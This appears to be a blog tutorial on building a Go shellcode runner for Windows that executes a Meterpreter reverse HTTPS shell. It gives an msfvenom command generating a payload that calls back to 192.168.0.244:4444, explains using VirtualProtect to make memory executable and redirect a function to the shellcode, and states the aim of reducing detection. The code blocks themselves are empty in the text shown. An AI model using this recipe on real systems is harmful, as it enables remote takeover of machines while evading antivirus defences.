Executing Windows Shellcode in Golang
There are a plethora of reasons as to why you may want to have a custom written shellcode runner, Whether that be to Avoid Detection or Aid in Portability there are also a plethora of ways and languages to write one in from C all the way down to PowerShell.
Today i’m going to show you how to use native Golang functions to use the Windows API to execute a Meterpreter Shell.
As a bonus this will greatly reduce the detection footprint of our meterpreter and aid in our Red activities.
Generating our ShellCode
Before we proceed we need some shellcode to work with. We will use msfvenom to generate a meterpreter for windows and decode it into a variable in our go application.
$ msfvenom -p windows/meterpreter/reverse_https -f hex LHOST=192.168.0.244 LPORT=4444
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 473 bytes
Final size of hex file: 946 bytes
fc4883e4f0e8c0000000415141505251...
Now we have our shellcode as a series of hexadecimal values we can use golang’s encoding/hex package to decode the string.
Once have done that we can create an empty function and call it.
|
|
The VirtualProtect API
All of the heavy of our ShellCode runner is handled by the Microsoft Windows VirtualProtect API.
This API allows us to change the protection on memory locations within our own process as opposed to VirtualProtectEx which does the same for other processes.
Calling the VirtualProtect API from Golang
Usually to call any of the Windows APIs we need to import a DLL and as you may know that can be a massive pain depending on language choice. Luckily for us golang allows us to load a DLL using the NewLazyDLL().NewProc() method.
We need to load the VirtualProtect method from the kernel32.dll DLL, We do this by asigning the NewLazyDLL(“kernel32.dll”).NewProc(“VirtualProtect”) call and create our function definition in golang to match the API.
|
|
Since golang doesn’t really have the types defined by Microsoft we replace HANDLE and PDWORD with unsafe.Pointer and the other params are uintptr and uint32 respectively.
Playing with memory permissions
Here’s where things can get difficult, in order to execute our shellcode we need to redirect our f() function to point to our shellcode. Before we do that however, we need to use VirtualProtect to give us full access to the memory location by setting 0x40 as our permissions (I’ve commented the code to explain this).
|
|
EXECUTE, EXECUTE, EXECUTE!
Now we have over-written our permissions on the f() method we can overwrite the method. Doing so will mean that f() will point directly to our memory location.
To do this we need to assign a uintptr pointer(*) of the shellcode variable to the uintptr pointer pointer(**) of the f() method.
Once we have a assigned the shellcode to f() we need to use VirtualProtect() again to give 0x40 PAGE_EXECUTE_READWRITE to execute our shellcode.
|
|
Testing
Compile the shellcode runner with the following
$ GOOS=windows go build shellrunner_win.go
this will give you a shellrunner_win.exe
Copy it to your windows machine, start a meterpreter and profit!